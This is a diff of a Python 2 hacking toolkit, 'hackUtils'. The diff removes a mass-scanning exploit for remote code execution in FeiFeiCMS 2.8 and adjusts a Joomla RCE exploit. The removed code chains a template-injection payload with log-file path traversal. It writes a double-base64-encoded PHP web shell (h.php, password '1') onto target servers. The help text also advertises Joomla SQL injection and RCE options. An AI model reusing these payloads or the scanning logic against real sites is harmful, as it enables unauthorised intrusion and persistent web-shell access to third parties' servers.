@@ -474,9 +474,9 @@ def getInfoByJoomlaRCE(result, param):
474
474
if "System" in param :
475
475
reg = '.*<tr><td class="e">System </td><td class="v">([^<>]*?)</td></tr>.*'
476
476
elif "DOCUMENT_ROOT" in param :
477
- reg = '.*<tr><td class="e">_SERVER\[" DOCUMENT_ROOT"\] </td><td class="v">([^<>]*?)</td></tr>.*'
477
+ reg = '.*<tr><td class="e">DOCUMENT_ROOT </td><td class="v">([^<>]*?)</td></tr>.*'
478
478
elif "SCRIPT_FILENAME" in param :
479
- reg = '.*<tr><td class="e">_SERVER\[" SCRIPT_FILENAME"\] </td><td class="v">([^<>]*?)</td></tr>.*'
479
+ reg = '.*<tr><td class="e">SCRIPT_FILENAME </td><td class="v">([^<>]*?)</td></tr>.*'
480
480
match_url = re .search (reg ,result )
481
481
if match_url :
482
482
info = match_url .group (1 )
@@ -500,84 +500,10 @@ def getShellByJoomlaRCE(url, system, script_filename):
500
500
return "no info!"
501
501
else :
502
502
return "no info!"
503
-
504
- def rceFeiFeiCMS (value ):
505
- now = time .strftime ('%H:%M:%S' ,time .localtime (time .time ()))
506
- print "[" + str (now )+ "] [INFO] Checking FeiFeiCMS 2.8 Remote Code Execution..."
507
- if 'http://' in value or 'https://' in value :
508
- url = value
509
- checkFeiFeiCMS (url )
510
- else :
511
- urlfile = open (value ,'r' )
512
- for url in urlfile :
513
- if url .strip ():
514
- checkFeiFeiCMS (url )
515
- urlfile .close ()
516
- output = os .path .dirname (os .path .realpath (__file__ ))+ "/feifeicms_rce.txt"
517
- if os .path .exists (output ):
518
- print "\n [INFO] Scanned Vuls:"
519
- print "[*] Output File: " + output
520
-
521
- def checkFeiFeiCMS (url ):
522
- url = url .strip ()
523
- reg = 'http[s]*://.*/$'
524
- m = re .match (reg ,url )
525
- if not m :
526
- url = url + "/"
527
- logfilename = str (time .strftime ('%y_%m_%d' ,time .localtime (time .time ())))+ ".log.html"
528
- poc_1 = url + "index.php?s=my-show-id-1{~phpinfo()}.html"
529
- poc_2 = url + "index.php?s=my-show-id-\\ ..\\ Runtime\\ Logs\\ " + logfilename
530
- try :
531
- result = exploitFeiFeiCMS (poc_1 ,poc_2 )
532
- if 'phpinfo()' in result :
533
- system = getInfoByFeiFeiCMS (result , 'System' )
534
- document_root = getInfoByFeiFeiCMS (result , 'DOCUMENT_ROOT' )
535
- script_filename = getInfoByFeiFeiCMS (result , 'SCRIPT_FILENAME' )
536
- shell_file = getShellByFeiFeiCMS (url )
537
- vuls = '[+] vuls found! url: ' + url + ', System: ' + system + ', document_root: ' + document_root + ', script_filename: ' + script_filename + ', shell_file: ' + shell_file
538
- logfile (vuls ,'feifeicms_rce.txt' )
539
- print vuls
540
- else :
541
- print '[!] no vuls! url: ' + url
542
- except Exception ,e :
543
- print '[!] connection failed! url: ' + url
544
-
545
- def exploitFeiFeiCMS (p1 , p2 ):
546
- requests .get (p1 , timeout = 10 )
547
- response = requests .get (p2 , timeout = 10 )
548
- return response .content
549
-
550
- def getInfoByFeiFeiCMS (result , param ):
551
- if "System" in param :
552
- reg = '.*<tr><td class="e">System </td><td class="v">([^<>]*?)</td></tr>.*'
553
- elif "DOCUMENT_ROOT" in param :
554
- reg = '.*<tr><td class="e">_SERVER\["DOCUMENT_ROOT"\]</td><td class="v">([^<>]*?)</td></tr>.*'
555
- elif "SCRIPT_FILENAME" in param :
556
- reg = '.*<tr><td class="e">_SERVER\["SCRIPT_FILENAME"\]</td><td class="v">([^<>]*?)</td></tr>.*'
557
- match_url = re .search (reg ,result )
558
- if match_url :
559
- info = match_url .group (1 )
560
- else :
561
- info = 'no info!'
562
- return info
563
-
564
- def getShellByFeiFeiCMS (url ):
565
- logfilename = str (time .strftime ('%y_%m_%d' ,time .localtime (time .time ())))+ ".log.html"
566
- #cmd ="file_put_contents('1ndex.php',base64_decode(base64_decode('UEQ5d2FIQWdhV1lvSVNSZlVFOVRWRnNuYUdGdVpHeGxKMTBwZTJobFlXUmxjaWduU0ZSVVVDOHhMakVnTkRBMElFNXZkQ0JHYjNWdVpDY3BPeUJsZUdsMEtDazdJSDFsYkhObGV5QWtjejBpY0NJdUluSWlMaUpsSWk0aVp5SXVJbDhpTGlKeUlpNGlaU0l1SW5BaUxpSnNJaTRpWVNJdUltTWlMaUpsSWpzZ0pITW9JbjViWkdselkzVjZYWDVsSWl3a1gxQlBVMVJiSjJoaGJtUnNaU2RkTENKQlkyTmxjM01pS1RzZ2ZTQS9QZz09')))" #password: handle
567
- #cmd = "file_put_contents('wooyun.txt','wooyun')"
568
- shell = 'h.php'
569
- cmd = "file_put_contents('" + shell + "',base64_decode(base64_decode('UEQ5d2FIQWdRR1YyWVd3b0pGOVFUMU5VV3ljeEoxMHBPejgr')))" #password: 1
570
- payload_l = url + "index.php?s=my-show-id-1{~" + str (cmd )+ "}.html"
571
- payload_2 = url + "index.php?s=my-show-id-\\ ..\\ Runtime\\ Logs\\ " + logfilename
572
- try :
573
- exploitFeiFeiCMS (payload_l , payload_2 )
574
- return url + shell
575
- except Exception , e :
576
- return "no info!"
577
503
578
504
def myhelp ():
579
505
print "\n +-----------------------------+"
580
- print "| hackUtils v0.0.4 |"
506
+ print "| hackUtils v0.0.3 |"
581
507
print "| Avfisher - avfisher.win |"
582
508
583
509
print "+-----------------------------+\n "
@@ -589,7 +515,6 @@ def myhelp():
589
515
print " -w keyword, --wooyun=keyword Fetch URLs from Wooyun Corps based on specific keyword"
590
516
print " -j url|file, --joomla=url|file Exploit SQLi for Joomla 3.2 - 3.4"
591
517
print " -r url|file, --rce=url|file Exploit Remote Code Execution for Joomla 1.5 - 3.4.5 (Password: handle)"
592
- print " -f url|file, --ffcms=url|file Exploit Remote Code Execution for FeiFeiCMS 2.8 (Password: 1)"
593
518
print " -d site, --domain=site Scan subdomains based on specific site"
594
519
print " -e string, --encrypt=string Encrypt string based on specific encryption algorithms (e.g. base64, md5, sha1, sha256, etc.)"
595
520
print "\n Examples:"
@@ -600,15 +525,13 @@ def myhelp():
600
525
print " hackUtils.py -j urls.txt"
601
526
print " hackUtils.py -r http://www.joomla.com/"
602
527
print " hackUtils.py -r urls.txt"
603
- print " hackUtils.py -f http://www.feifeicms.com/"
604
- print " hackUtils.py -f urls.txt"
605
528
print " hackUtils.py -d example.com"
606
529
print " hackUtils.py -e text"
607
530
print "\n [!] to see help message of options run with '-h'"
608
531
609
532
def main ():
610
533
try :
611
- options ,args = getopt .getopt (sys .argv [1 :],"hb:g:w:j:r:f: d:e:" ,["help" ,"baidu=" ,"google=" ,"wooyun=" ,"joomla=" ,"rce=" , "ffcms =" ,"domain=" ,"encrypt=" ])
534
+ options ,args = getopt .getopt (sys .argv [1 :],"hb:g:w:j:r:d:e:" ,["help" ,"baidu=" ,"google=" ,"wooyun=" ,"joomla=" ,"rce=" ,"domain=" ,"encrypt=" ])
612
535
except getopt .GetoptError :
613
536
print "\n [WARNING] error, to see help message of options run with '-h'"
614
537
sys .exit ()
@@ -626,8 +549,6 @@ def main():
626
549
checkJoomla (value )
627
550
if name in ("-r" ,"--rce" ):
628
551
rceJoomla (value )
629
- if name in ("-f" ,"--ffcms" ):
630
- rceFeiFeiCMS (value )
631
552
if name in ("-d" ,"--domain" ):
632
553
scanSubDomains ('baidu' ,value ,50 )
633
554
if name in ("-e" ,"--encrypt" ):
0 commit comments